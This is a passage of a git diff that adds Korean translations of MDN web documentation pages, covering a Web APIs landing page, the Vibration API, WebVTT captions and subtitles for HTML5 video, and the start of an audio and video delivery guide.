+ <dd>XPath stands for <strong>X</strong>ML <strong>Path</strong> Language, it uses a non-XML syntax that provides a flexible way of addressing (pointing to) different parts of an <a href="/en-US/docs/XML">XML</a> document. As well as this, it can also be used to test addressed nodes within a document to determine whether they match a pattern or not.</dd>
+ <dt>{{domxref("FileReader")}} API</dt>
+ <dd>The <code>FileReader</code> API lets web applications asynchronously read the contents of files (or raw data buffers) stored on the user's computer, using {{domxref("File")}} or {{domxref("Blob")}} objects to specify the file or data to read. File objects may be obtained from a {{domxref("FileList")}} object returned as a result of a user selecting files using the {{HTMLElement("input")}} element, from a drag and drop operation's {{domxref("DataTransfer")}} object, or from the <code>mozGetAsFile()</code> API on an {{domxref("HTMLCanvasElement")}}.</dd>
+ <dt><a href="/en-US/docs/HTML_in_XMLHttpRequest">XMLHttpRequest의 HTML</a></dt>
+ <dd>The W3C <a class="external" href="http://dvcs.w3.org/hg/xhr/raw-file/tip/Overview.html">XMLHttpRequest</a> specification adds HTML parsing support to {{domxref("XMLHttpRequest")}}, which originally supported only XML parsing. This feature allows Web apps to obtain an HTML resource as a parsed DOM using <code>XMLHttpRequest</code>.</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/en-US/docs/tag/AJAX">View All...</a></span></p>
+
+<h2 class="Other" id="같이_보기">같이 보기</h2>
+
+<dl>
+ <dt><a href="https://pdfs.semanticscholar.org/c440/ae765ff19ddd3deda24a92ac39cef9570f1e.pdf">Ajax: A New Approach to Web Applications</a></dt>
+ <dd>Jesse James Garrett, of <a href="http://www.adaptivepath.com">adaptive path</a>, wrote this article in February 2005, introducing Ajax and its related concepts.</dd>
+ <dt><a href="https://xhr.spec.whatwg.org/">XMLHttpRequest 명세</a></dt>
+ <dd>WHATWG Living Standard</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Related_Topics" id="관련_주제">관련 주제</h2>
+
+<p><a href="/en-US/docs/Web/HTML">HTML</a>, <a href="/en-US/docs/XHTML">XHTML</a>, <a href="/en-US/docs/Web/CSS">CSS</a>, <a href="/en-US/docs/Web/API/Document_Object_Model">DOM</a>, <a href="/en-US/docs/Web/JavaScript">JavaScript</a>, <a href="/en-US/docs/Web/XML">XML</a>, <a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a>, <a href="/en-US/docs/Web/XSLT">XSLT</a>, <a href="/en-US/docs/Glossary/DHTML">DHTML</a>, <a href="/en-US/docs/JavaScript/Same_origin_policy_for_JavaScript">Same Origin Policy</a></p>
+</div>
+</div>
diff --git a/files/ko/web/guide/api/index.html b/files/ko/web/guide/api/index.html
new file mode 100644
index 0000000000..e9ca5304d4
--- /dev/null
+++ b/files/ko/web/guide/api/index.html
@@ -0,0 +1,24 @@
+---
+title: Guide to Web APIs
+slug: Web/Guide/API
+tags:
+  - API
+  - Guide
+  - Landing
+  - Web
+translation_of: Web/Guide/API
+---
+<p>The web includes a wide array of APIs that can be used from JavaScript to build increasingly more powerful and capable applications, running either on the web, locally, or through technology such as <a href="https://nodejs.org/">Node.js</a>, on a server. On this page you'll find a complete list of all of the APIs provided by the full web technology stack.</p>
+
+<h2 id="Web_API의_모든_것">Web API의 모든 것</h2>
+
+<p>{{ListGroups}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API">Web API interface reference</a> (an index of all of the interfaces comprising all of these APIs)</li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model">Document Object Model</a> (DOM)</li>
+ <li><a href="/en-US/docs/Web/Events">Web API event reference</a></li>
+ <li><a href="/en-US/docs/Learn">Learning web development</a></li>
+</ul>
diff --git a/files/ko/web/guide/api/vibration/vibration/index.html b/files/ko/web/guide/api/vibration/vibration/index.html
new file mode 100644
index 0000000000..16271ff248
--- /dev/null
+++ b/files/ko/web/guide/api/vibration/vibration/index.html
@@ -0,0 +1,100 @@
+---
+title: Vibration API
+slug: Web/Guide/API/Vibration/Vibration
+translation_of: Web/API/Vibration_API
+---
+<div>{{DefaultAPISidebar("Vibration API")}}</div>
+
+<p>요즘 나오는 대부분은 모바일 디바이스는 바이브레이션 하드웨어를 포함하고 있다. 소프트웨어 코드를 이용해 바이브레이션 하드웨어를 제어하면, 모바일 디바이스를 흔들리게 만들어 사용자에게 물리적인 피드백을 제공할 수 있다.</p>
+
+<p><strong>Vibration API</strong>는 웹앱들이 기기에 장착된 물리 진동장치를 통해 진동을 전달할 수 있도록 해줍니다. 하지만 대응하는 진동 장치가 없는 기기일 경우 아무일도 일어나지 않습니다.</p>
+
+<h2 id="Describing_vibrations">Describing vibrations</h2>
+
+<p>바이브레이션은 온오프 펄스들의 패턴이라고 할 수 있는데, 이 펄스들은 아마도 다양한 길이를 가질 것이다. 이 패턴은 아마 하나의 정수값으로 구성될 수 있는데 이 정수값은 진동이 일어날 밀리세컨드 수를 의미한다. 또한 이 패턴은 정수 배열이 될 수도 있는데 이것은 진동과 정지들의 패턴을 의미한다. 바이브레이션은 {{domxref("window.navigator.vibrate()")}} 라는 하나의 메소드로 제어된다.</p>
+
+<h3 id="한번_진동시키기">한번 진동시키기</h3>
+
+<p>여러분은 다음과 같이 하나의 값 또는 하나의 값으로 구성된 배열을 명시함으로써 바이브레이션 하드웨어를 1회 진동시킬 수 있을 것이다.</p>
+
+<pre class="brush:js">window.navigator.vibrate(200);
+window.navigator.vibrate([200]);
+</pre>
+
+<p>이 두 가지 예제들은 디바이스를 200ms 동안 진동시킨다.</p>
+
+<h3 id="패턴이_있는_진동_만들기">패턴이 있는 진동 만들기</h3>
+
+<p>배 열에 있는 값들은 다바이스가 진동해야 하는 시간과 진동하지 않아야 하는 시간을 번갈아가며 적어놓은 것이다. 배열에 있는 각 값은 하나의 정수로 변환된 후 차례대로 장치가 진동해야 하는 시간, 장치가 진동하지 않아야 하는 시간으로 해석된다. 다음 예제를 보자.</p>
+
+<pre class="brush: js">window.navigator.vibrate([200, 100, 200]);
+</pre>
+
+<p>이 예제는 장치를 200ms 동안 진동시킨 후 100ms 동안 멈추게 하고 그 후 다시 200ms 동안 장치를 진동시킨다.</p>
+
+<p>여 러분은 여러분이 원하는 진동/정지 페어를 명시할 수 있다. 그리고 배열 내에 홀수 또는 짝수개의 값들을 명시할 수도 있다. 이렇게 하는 이유는 각각의 진동 시간이 끝나면 디바이스의 진동은 자동적으로 멈추게 되므로 배열의 마지막 값이 정지에 해당하는 값이라면 그 값은 아무 의미가 없기 때문이다.</p>
+
+<h3 id="이미_실행중인_진동_캔슬하기">이미 실행중인 진동 캔슬하기</h3>
+
+<p>{{domxref("window.navigator.vibrate()")}} <code>메소드를 0값을 호출하거나, 빈 배열, 0값으로 구성된 배열로 호출하면 </code>현재 진행중인 진동패턴은 취소될 것이다.</p>
+
+<h3 id="지속적인_진동_내보내기">지속적인 진동 내보내기</h3>
+
+<p>Some basic <code>setInterval</code> and <code>clearInterval</code> action will allow you to create persistent vibration:</p>
+
+<pre><code>var vibrateInterval;
+
+// Starts vibration at passed in level
+function startVibrate(duration) {
+    navigator.vibrate(duration);
+}
+
+// Stops vibration
+function stopVibrate() {
+    // Clear interval and stop persistent vibrating
+    if(vibrateInterval) clearInterval(vibrateInterval);
+    navigator.vibrate(0);
+}
+
+// Start persistent vibration at given duration and interval
+// Assumes a number value is given
+function startPeristentVibrate(duration, interval) {
+    vibrateInterval = setInterval(function() {
+        startVibrate(duration);
+    }, interval);
+}</code></pre>
+
+<p>Of course the snippet above doesn't take into account the array method of vibration; persistent array-based vibration will require calculating the sum of the array items and creating an interval based on that number (with an additional delay, probably).</p>
+
+<h3 id="Why_use_Vibration_API">Why use Vibration API?</h3>
+
+<p>This API is clearly targeted toward mobile devices. The Vibration API would be good for alerts within mobile web applications, and would be especially awesome when used in games or media-heavy applications. Imagine watching a video on your mobile device, and during an explosion scene, your phone got a bit of a shake. Or playing Bomberman and feeling a gentle kick when a block explodes!</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Vibration API')}}</td>
+   <td>{{Spec2('Vibration API')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("api.Navigator.vibrate")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("window.navigator.vibrate()")}}</li>
+</ul>
diff --git a/files/ko/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html b/files/ko/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html
new file mode 100644
index 0000000000..df8885e1e1
--- /dev/null
+++ b/files/ko/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html
@@ -0,0 +1,321 @@
+---
+title: HTML5 영상에 캡션과 자막 붙이기
+slug: >-
+  Web/Guide/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video
+translation_of: >-
+  Web/Guide/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video
+---
+<div class="summary">
+<p><span class="seoSummary">우리는 다른 글에서 {{ domxref("HTMLMediaElement") }}과(와) {{ domxref("Window.fullScreen") }} API를 활용하여 <a href="/en-US/Apps/Build/Manipulating_media/cross_browser_video_player">다양한 브라우저에서 호환되는 영상 플레이어를 제작하는 방법</a>과 <a href="/en-US/Apps/Build/Manipulating_media/Video_player_styling_basics">플레이어에 스타일을 적용하는 방법</a>을 살펴보았습니다. 이번 글에서는 위에서 제작했던 플레이어를 활용하여 {{ domxref("Web_Video_Text_Tracks_Format","WebVTT 포맷 파일") }}과(와) {{ htmlelement("track") }} 엘리먼트를 이용해 캡션과 자막을 붙이는 방법을 살펴보려고 합니다.</span></p>
+</div>
+
+<h2 id="캡션이_포함된_영상_예제">캡션이 포함된 영상 예제</h2>
+
+<p>캡션이 포함된 영상 플레이어를 예시로 설명하기 위하여 <a href="http://www.blender.org/foundation/">Blender Foundation</a>에서 만든 <a href="http://www.sintel.org/">Sintel open movie</a>를 발췌하여 사용할 것입니다.</p>
+
+<p><img alt='Video player with stand controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads "Esta hoja tiene pasado oscuro."' src="https://mdn.mozillademos.org/files/7887/video-player-with-captions.png" style="display: block; height: 365px; margin: 0px auto; width: 593px;"></p>
+
+<div class="note">
+<p><strong>Note</strong>: <a href="https://github.com/iandevlin/iandevlin.github.io/tree/master/mdn/video-player-with-captions">소스코드</a>는 Github 에서 받을 수 있으며 <a href="http://iandevlin.github.io/mdn/video-player-with-captions/">데모</a> 또한 확인해보실 수 있습니다.</p>
+</div>
+
+<h2 id="HTML5와_영상_캡션">HTML5와 영상 캡션</h2>
+
+<p>영상에 캡션을 붙이는 법을 살펴보기 전에, 몇가지 짚고 넢어가야 할 것들이 있습니다.</p>
+
+<h3 id="캡션_vs_자막">캡션 vs 자막</h3>
+
+<p><a href="http://web.archive.org/web/20160117160743/http://screenfont.ca/learn/">캡션과 자막은 다른 개념입니다</a>: 이 두가지는 명백히 다른 개념이며 서로 다른 정보를 전달합니다. 이 두가지에 대해 명확하게 이해하고 있지 않다면 두 개념의 차이를 먼저 이해하고 오는 것이 좋습니다. 개념적으로는 다르더라도 기술적으로는 같은 방식을 따르기 때문에, 이 글에서 설명하는 것은 두 개념 모두에 적용됩니다.</p>
+
+<p>이 글에서는 화면에 보여지는 텍스트를 자막으로 간주하고 설명하고 있습니다. 여기서 자막은 영상의 언어를 이해하기 어려운 사람들을 위한 텍스트를 의미하며, 듣는 능력에 장애가 있는 사람들을 위한 텍스트를 의미하는 것은 아닙니다.</p>
+
+<h3 id="&lt;track>_엘리먼트">&lt;track&gt; 엘리먼트</h3>
+
+<p>HTML5에서는 {{ htmlelement("track") }}를 이용하여 자막을 특정해서 보여줄 수 있습니다. 엘리먼트에서 제공하는 다양한 속성을 이용하여 추가하려는 컨텐트 유형, 언어, 자막 파일 등을 지정할 수 있습니다.</p>
+
+<h3 id="WebVTT">WebVTT</h3>
+
+<p>자막 데이터를 담고있는 파일은 특정한 파일 포맷을 따르는데, 이 글에서는 <a href="/en-US/docs/HTML/WebVTT">Web Video Text Tracks</a> (WebVTT)를 이용합니다. <a href="http://dev.w3.org/html5/webvtt/">WebVTT 스펙</a> 은 아직 개발 단계에 있지만 대부분 주요 기능은 안정화 단계에 있기 떄문에 지금도 충분히 사용 가능합니다.</p>
+
+<p>영상 제공자(<a href="http://www.blender.org/foundation/">Blender Foundation</a>같은)들은 영상과 함께 캡션과 자막을 텍스트 파일로 제공하는데 보통 SubRip Text(SRT) 포맷을 사용합니다. SRT 파일은 온라인에서 쉽게 찾을 수 있는 <a href="https://atelier.u-sub.net/srt2vtt/">srt2vtt</a>같은 변환기를 이용해 WebVTT로 변환할 수 있습니다.</p>
+
+<h2 id="HTML과_CSS_수정">HTML과 CSS 수정</h2>
+
+<p>이번 섹션에서는 영상에 자막을 추가하기 위하여 이전 글에서 작성했던 코드의 마크업을 수정해볼 것입니다. 혹시 이번 섹션은 별로 관심이 없거나 바로 JavaScript 혹은 직접적인 CSS를 수정하는데에 더 관심이 있다면, {{ anch("Subtitle implementation") }} 섹션으로 건너뛰어도 무방합니다.<br>
+ <br>
+ 이번 예제에서는 <a href="http://www.sintel.org/">Sintel</a>이라는 다른 영상을 사용해보겠습니다. 이 영상은 연설하는 내용을 담고있기 떄문에 자막이 동작하는 것을 이해하는데 훨씬 더 적합할 것입니다.</p>
+
+<h3 id="HTML_마크업">HTML 마크업</h3>
+
+<p>위에서 언급한대로, 자막 파일을 HTML5 영상에 추가하기 위해서는 새로운 HTML5 <code>&lt;track&gt;</code> 엘리먼트를 활용해야 합니다. 우리는 지금 3가지 다른 언어의 자막— 영어, 독일어, 스페인어 —을 가지고 있기 때문에 HTML5 <code>&lt;video&gt;</code> 엘리먼트 안에 <code>&lt;track&gt;</code> 엘리먼트를 추가하여 3가지 언어에 대응하는 VTT 파일을 지정해주어야 합니다.:</p>
+
+<pre class="brush: html">&lt;video id="video" controls preload="metadata"&gt;
+   &lt;source src="video/sintel-short.mp4" type="video/mp4"&gt;
+   &lt;source src="video/sintel-short.webm" type="video/webm"&gt;
+   &lt;track label="English" kind="subtitles" srclang="en" src="captions/vtt/sintel-en.vtt" default&gt;
+   &lt;track label="Deutsch" kind="subtitles" srclang="de" src="captions/vtt/sintel-de.vtt"&gt;
+   &lt;track label="Español" kind="subtitles" srclang="es" src="captions/vtt/sintel-es.vtt"&gt;
+&lt;/video&gt;</pre>
+
+<p>위 코드에서 보듯, 각각의 <code>&lt;track&gt;</code> 엘리먼트는 다음의 속성 세트를 갖습니다:</p>
+
+<ul>
+ <li><code>subtitles</code>값을 갖고 있는 <code>kind</code> 는 해당 파일이 가지고 있는 내용의 유형을 가리킵니다.</li>
+ <li><code>label</code> 은 자막 세트가 갖는 언어를 상징하는 값입니다. — 예를 들어 <code>English</code> 혹은 <code>Deutsch</code> — 이 값들은 UI 상에서 사용자가 쉽게 원하는 자막을 선택할 수 있도록 보여지는데 사용됩니다.</li>
+ <li><code>src</code> 은 각 자막에 해당하는 WebVTT 파일 URL입니다.</li>
+ <li><code>srclang</code> 각 자막 파일의 언어 값을 가리킵니다.</li>
+ <li>English <code>&lt;track&gt;</code> 엘리먼트에 지정되어있는 <code>default</code> 속성은 브라우저로 하여금 기본 자막 파일이라고 알려주는 역할을 합니다. 자막 설정은 켜져있고 사용자가 아무런 선택도 하지 않을 경우 기본으로 보여질 자막을 의미합니다.</li>
+</ul>
+
+<p>In addition to adding the <code>&lt;track&gt;</code> elements, we have also added a new button to control the subtitles menu that we will build. As a consequence, the video controls now look as follows:</p>
+
+<pre class="brush: html;highlight[13]">&lt;div id="video-controls" class="controls" data-state="hidden"&gt;
+   &lt;button id="playpause" type="button" data-state="play"&gt;Play/Pause&lt;/button&gt;
+   &lt;button id="stop" type="button" data-state="stop"&gt;Stop&lt;/button&gt;
+   &lt;div class="progress"&gt;
+      &lt;progress id="progress" value="0" min="0"&gt;
+         &lt;span id="progress-bar"&gt;&lt;/span&gt;
+      &lt;/progress&gt;
+   &lt;/div&gt;
+   &lt;button id="mute" type="button" data-state="mute"&gt;Mute/Unmute&lt;/button&gt;
+   &lt;button id="volinc" type="button" data-state="volup"&gt;Vol+&lt;/button&gt;
+   &lt;button id="voldec" type="button" data-state="voldown"&gt;Vol-&lt;/button&gt;
+   &lt;button id="fs" type="button" data-state="go-fullscreen"&gt;Fullscreen&lt;/button&gt;
+   &lt;button id="subtitles" type="button" data-state="subtitles"&gt;CC&lt;/button&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS_Changes">CSS Changes</h3>
+
+<p>The video controls have undergone some minor changes in order to make space for the extra button, but these are relatively straightforward.<br>
+ <br>
+ No image is used for the captions button, so it is simply styled as:</p>
+
+<pre class="brush: css">.controls button[data-state="subtitles"] {
+    height:85%;
+    text-indent:0;
+    font-size:16px;
+    font-size:1rem;
+    font-weight:bold;
+    color:#666;
+    background:#000;
+    border-radius:2px;
+}</pre>
+
+<p>There are also other CSS changes that are specific to some extra JavaScript implementation, but these will be mentioned at the appropriate place below.</p>
+
+<h2 id="Subtitle_implementation">Subtitle implementation</h2>
+
+<p>A lot of what we do to access the video subtitles revolves around JavaScript. Similar to the video controls, if a browser supports HTML5 video subtitles, there will be a button provided within the native control set to access them. However, since we have defined our own video controls, this button is hidden, and we need to define our own.</p>
+
+<p>Browsers do vary as to what they support, so we will be attempting to bring a more unified UI to each browser where possible. There's more on browser compatibility issues later on.</p>
+
+<h3 id="Initial_setup">Initial setup</h3>
+
+<p>As with all the other buttons, one of the first things we need to do is store a handle to the subtitles' button:</p>
+
+<pre class="brush: js">var subtitles = document.getElementById('subtitles');</pre>
+
+<p>We also initially turn off all subtitles, in case the browser turns any of them on by default:</p>
+
+<pre class="brush: js">for (var i = 0; i &lt; video.textTracks.length; i++) {
+   video.textTracks[i].mode = 'hidden';
+}</pre>
+
+<p>The <code>video.textTracks</code> property contains an array of all the text tracks attached to the video. We loop through each one and set its <code>mode</code> to <code>hidden</code>.</p>
+
+<p>Note: The <a href="http://dev.w3.org/html5/webvtt/#api">WebVTT API</a> gives us access to all the text tracks that are defined for an HTML5 video using the <code>&lt;track&gt;</code> element.</p>
+
+<h3 id="Building_a_caption_menu">Building a caption menu</h3>
+
+<p>Our aim is to use the <code>subtitles</code> button we added earlier to display a menu that allows users to choose which language they want the subtitles displayed in, or to turn them off entirely.<br>
+ <br>
+ We have added the button, but before we make it do anything, we need to build the menu that goes with it. This menu is built dynamically, so that languages can be added or removed later by simply editing the <code>&lt;track&gt;</code> elements within the video's markup.</p>
+
+<p>All we need to do is to go through the video's <code>textTracks</code>, reading their properties and building the menu up from there:</p>
+
+<pre class="brush: js">var subtitlesMenu;
+if (video.textTracks) {
+   var df = document.createDocumentFragment();
+   var subtitlesMenu = df.appendChild(document.createElement('ul'));
+   subtitlesMenu.className = 'subtitles-menu';
+   subtitlesMenu.appendChild(createMenuItem('subtitles-off', '', 'Off'));
+   for (var i = 0; i &lt; video.textTracks.length; i++) {
+      subtitlesMenu.appendChild(createMenuItem('subtitles-' + video.textTracks[i].language, video.textTracks[i].language, video.textTracks[i].label));
+   }
+   videoContainer.appendChild(subtitlesMenu);
+}</pre>
+
+<p>This code creates a {{ domxref("documentFragment") }}, which is used to hold an unordered list containing our subtitles menu. First of all an option is added to allow the user to switch all subtitles off, and then buttons are added for each text track, reading the language and label from each one.</p>
+
+<p>The creation of each list item and button is done by the <code>createMenuItem()</code> function, which is defined as follows:</p>
+
+<pre class="brush: js">var subtitleMenuButtons = [];
+var createMenuItem = function(id, lang, label) {
+   var listItem = document.createElement('li');
+   var button = listItem.appendChild(document.createElement('button'));
+   button.setAttribute('id', id);
+   button.className = 'subtitles-button';
+   if (lang.length &gt; 0) button.setAttribute('lang', lang);
+   button.value = label;
+   button.setAttribute('data-state', 'inactive');
+   button.appendChild(document.createTextNode(label));
+   button.addEventListener('click', function(e) {
+      // Set all buttons to inactive
+      subtitleMenuButtons.map(function(v, i, a) {
+         subtitleMenuButtons[i].setAttribute('data-state', 'inactive');
+      });
+      // Find the language to activate
+      var lang = this.getAttribute('lang');
+      for (var i = 0; i &lt; video.textTracks.length; i++) {
+         // For the 'subtitles-off' button, the first condition will never match so all will subtitles be turned off
+         if (video.textTracks[i].language == lang) {
+            video.textTracks[i].mode = 'showing';
+            this.setAttribute('data-state', 'active');
+         }
+         else {
+            video.textTracks[i].mode = 'hidden';
+         }
+      }
+      subtitlesMenu.style.display = 'none';
+   });
+   subtitleMenuButtons.push(button);
+   return listItem;
+}</pre>
+
+<p>This function builds the required {{ htmlelement("li") }} and {{ htmlelement("button") }} elements, and returns them so they can be added to the subtitles menu list. It also sets up the required event listeners on the button to toggle the relevant subtitle set on or off. This is done by simply setting the required subtlte's <code>mode</code> attribute to <code>showing</code>, and setting the others to <code>hidden</code>.</p>
+
+<p>Once the menu is built, it is then inserted into the DOM at the bottom of the videoContainer.<br>
+ <br>
+ Initially the menu is hidden by default, so an event listener needs to be added to our subtitles button to toggle it:</p>
+
+<pre class="brush: js">subtitles.addEventListener('click', function(e) {
+   if (subtitlesMenu) {
+      subtitlesMenu.style.display = (subtitlesMenu.style.display == 'block' ? 'none' : 'block');
+   }
+});</pre>
+
+<h3 id="Subtitle_menu_CSS">Subtitle menu CSS</h3>
+
+<p>We also added some rudimentary styling for the newly created subtitles menu:</p>
+
+<pre class="brush: css">.subtitles-menu {
+    display:none;
+    position:absolute;
+    bottom:14.8%;
+    right:20px;
+    background:#666;
+    list-style-type:none;
+    margin:0;
+    padding:0;
+    width:100px;
+    padding:10px;
+}
+
+.subtitles-menu li {
+    padding:0;
+    text-align:center;
+}
+
+.subtitles-menu li button {
+    border:none;
+    background:#000;
+    color:#fff;
+    cursor:pointer;
+    width:90%;
+    padding:2px 5px;
+    border-radius:2px;
+}</pre>
+
+<h2 id="Styling_the_displayed_subtitles">Styling the displayed subtitles</h2>
+
+<p>One of the less well known about and supported features of WebVTT is the ability to style the individual subtitles (something called text cues) via <a href="http://dev.w3.org/html5/webvtt/#css-extensions">CSS Extensions</a>.</p>
+
+<p>The <code>::cue</code> pseudo-element is the key to targetting individual text track cues for styling, as it matches any defined cue. There are only a handful of CSS properties that can be applied to a text cue:</p>
+
+<ul>
+ <li>{{ cssxref("color") }}</li>
+ <li>{{ cssxref("opacity") }}</li>
+ <li>{{ cssxref("visibility") }}</li>
+ <li>{{ cssxref("text-decoration") }}</li>
+ <li>{{ cssxref("text-shadow") }}</li>
+ <li>{{ cssxref("background") }} shorthand properties</li>
+ <li>{{ cssxref("outline") }} shorthand properties</li>
+ <li>{{ cssxref("font") }} shorthand properties, including {{ cssxref("line-height") }}</li>
+ <li>{{ cssxref("white-space") }}</li>
+</ul>
+
+<p>For example, to change the text colour of the text track cues you can write:</p>
+
+<pre class="brush: css">::cue {
+   color:#ccc;
+}</pre>
+
+<p>If the WebVTT file uses <a href="http://dev.w3.org/html5/webvtt/#dfn-webvtt-cue-voice-span">voice spans</a>, which allow cues to be defined as having a particular "voice":</p>
+
+<pre>0
+00:00:00.000 --&gt; 00:00:12.000
+&lt;v Test&gt;[Test]&lt;/v&gt;</pre>
+
+<p>Then this specific 'voice' will be stylable like so:</p>
+
+<pre class="brush: css">::cue(v[voice='Test']) {
+   color:#fff;
+   background:#0095dd;
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Some of the styling of cues with ::cue currently works on Chrome, Opera, and Safari, but not yet on Firefox.</p>
+</div>
+
+<h2 id="Browser_Compatibility">Browser Compatibility</h2>
+
+<p><a href="http://caniuse.com/webvtt">Browser support for WebVTT and the <code>&lt;track&gt;</code> element</a> is fairly good, although some browsers differ slightly in their implementation.</p>
+
+<h3 id="Internet_Explorer">Internet Explorer</h3>
+
+<p>Internet Explorer 10+ subtitles are enabled by default, and the default controls contain a button and a menu that offers the same functionality as the menu we just built. The <code>default</code> attribute is also supported.</p>
+
+<div class="note">
+<p><strong>Note</strong>: IE will completely ignore WebVTT files unless you define the MIME type. This can easily be done by adding an <code>.htaccess</code> file to an appropriate directory that contains <code>AddType text/vtt .vtt</code>.</p>
+</div>
+
+<h3 id="Safari">Safari</h3>
+
+<p>Safari 6.1+ has similar support to Internet Explorer 10+, displaying a menu with the different available options, with the addition of an "Auto" option, which allows the browser to choose.</p>
+
+<h3 id="Chrome_and_Opera">Chrome and Opera</h3>
+
+<p>These browsers have similar implementations again: subtitles are enabled by default and the default control set contains a 'cc' button that turns subtitles on and off. Chrome and Opera ignore the <code>default</code> attribute on the <code>&lt;track&gt;</code> element and will instead try to match the browser's language to the subtitle's language.</p>
+
+<h3 id="Firefox">Firefox</h3>
+
+<p>Firefox's implementation was completely broken due to a <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=981280">bug</a>, leading to Mozilla turning off WebVTT support by default (you can turn it on via the <code>media.webvtt.enabled</code> flag.) However, <s>this bug looks to have been fixed and WebVTT support re-enabled as of Gecko 31, so this will not be a problem for Firefox final release users for much longer (on Gecko 29 as of the time of this writing)</s> this has been fixed as of Firefox 31, and everything works as it should.</p>
+
+<h2 id="Plugins">Plugins</h2>
+
+<p>If, after reading through this article you decide that you can't be bothered to do all of this and want someone else to do it for you, there are plenty of plugins out there that offer caption and subtitle support that you can use.</p>
+
+<dl>
+ <dt><a href="http://plyr.io">plyr.io </a></dt>
+ <dd>This modern video player implements subtitles in both SRT and WebVTT file formats.</dd>
+ <dt><a href="http://www.delphiki.com/html5/playr/">playr</a></dt>
+ <dd>This small plugin implements subtitles, captions, and chapters as well as both WebVTT and SRT file formats.</dd>
+ <dt><a href="https://flowplayer.org/player/">Flowplayer</a></dt>
+ <dd>HTML5 player supporting WebVTT.</dd>
+ <dt><a href="http://www.jwplayer.com/">jwplayer</a></dt>
+ <dd>This video player is very extensive and does a lot more than simply support video captions. It supports the WebVTT, SRT and DFXP formats.</dd>
+ <dt><a href="http://mediaelementjs.com/">MediaElement.js</a></dt>
+ <dd>Another complete video player that also support video captions, albeit only in SRT format.</dd>
+ <dt><a href="http://www.leanbackplayer.com/">LeanBack Player</a></dt>
+ <dd>Yet another video player that supports WebVTT captions as well as providing other standard player functionality.</dd>
+ <dt><a href="http://sublimevideo.net">SublimeVideo</a></dt>
+ <dd>This player also supports captions through WebVTT and SRT files.</dd>
+ <dt><a href="http://www.videojs.com/">Video.js</a></dt>
+ <dd>Supports WebVTT video subtitles.</dd>
+ <dt><a href="https://www.radiantmediaplayer.com">Radiant Media Player</a></dt>
+ <dd>Supports multi-languages WebVTT closed captions</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note</strong>: You can find an excellent list of HTML5 Video Players and their current "state" at <a href="http://praegnanz.de/html5video/">HTML5 Video Player Comparison</a>.</p>
+</div>
diff --git a/files/ko/web/guide/audio_and_video_delivery/index.html b/files/ko/web/guide/audio_and_video_delivery/index.html
new file mode 100644
index 0000000000..857a7eec17
--- /dev/null
+++ b/files/ko/web/guide/audio_and_video_delivery/index.html
@@ -0,0 +1,554 @@
+---
+title: Audio and Video Delivery
+slug: Web/Guide/Audio_and_video_delivery
+tags:
+  - Audio
+  - HTML5
+  - Media
+  - NeedsTranslation
+  - TopicStub
+  - Video
+translation_of: Web/Guide/Audio_and_video_delivery
+---
+<div class="summary">
+<p>We can deliver audio and video on the web in a number of ways, ranging from 'static' media files to adaptive live streams. This article is intended as a starting point for exploring the various delivery mechanisms of web based media and compatibility with popular browsers.</p>
+</div>
+
+<h2 id="The_Audio_and_Video_Elements">The Audio and Video Elements</h2>
+
+<p>Whether we are dealing with pre-recorded audio files or live streams, the mechanism for making them available through the browser's {{ htmlelement("audio")}} and {{ htmlelement("video")}} elements remains pretty much the same. Currently, to support all browsers we need to specify two formats, although with the adoption of MP3 and MP4 formats in Firefox and Opera, this is changing fast. You can find compatibility information in the following places:</p>
+
+<ul>
+ <li><a href="/en-US/Apps/Build/Manipulating_media/Cross-browser_audio_basics#Audio_Codec_Support">Audio Codec Compatibility Table</a></li>
+ <li><a href="/en-US/docs/Web/HTML/Supported_media_formats#Browser_compatibility">Audio/Video Codec Compatibility Table</a></li>
+</ul>
+
+<p>To deliver video and audio, the general workflow is usually something like this:</p>
+
+<ol>
+ <li>Check what format the browser supports via feature detection (usually a choice of two, as stated above.)</li>
+ <li>If the browser doesn't support playback of any of the provided formats natively, provide a fallback (such as a Flash movie.)</li>
+ <li>Identify how you want to play/instantiate the media (e.g. a {{ htmlelement("video") }} element, or <code>document.createElement('video')</code> perhaps?)</li>
+ <li>Deliver the media file to the player.</li>
+</ol>
+
+<h3 id="HTML_Audio">HTML Audio</h3>
+
+<pre class="brush: html">&lt;audio controls preload="auto"&gt;
+  &lt;source src="audiofile.mp3" type="audio/mpeg"&gt;
+
+  &lt;!-- fallback for browsers that don't suppport mp3 --&gt;
+  &lt;source src="audiofile.ogg" type="audio/ogg"&gt;
+
+  &lt;!-- fallback for browsers that don't support audio tag --&gt;
+  &lt;a href="audiofile.mp3"&gt;download audio&lt;/a&gt;
+&lt;/audio&gt;</pre>
+
+<p>The code above will create an audio player that attempts to preload as much audio as possible for smooth playback.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The preload attribute may be ignored by some mobile browsers.</p>
+</div>
+
+<p>For further info see <a href="/en-US/Apps/Build/Manipulating_media/Cross-browser_audio_basics#HTML5_audio_in_detail">Cross Browser Audio Basics (HTML5 Audio In Detail)</a></p>
+
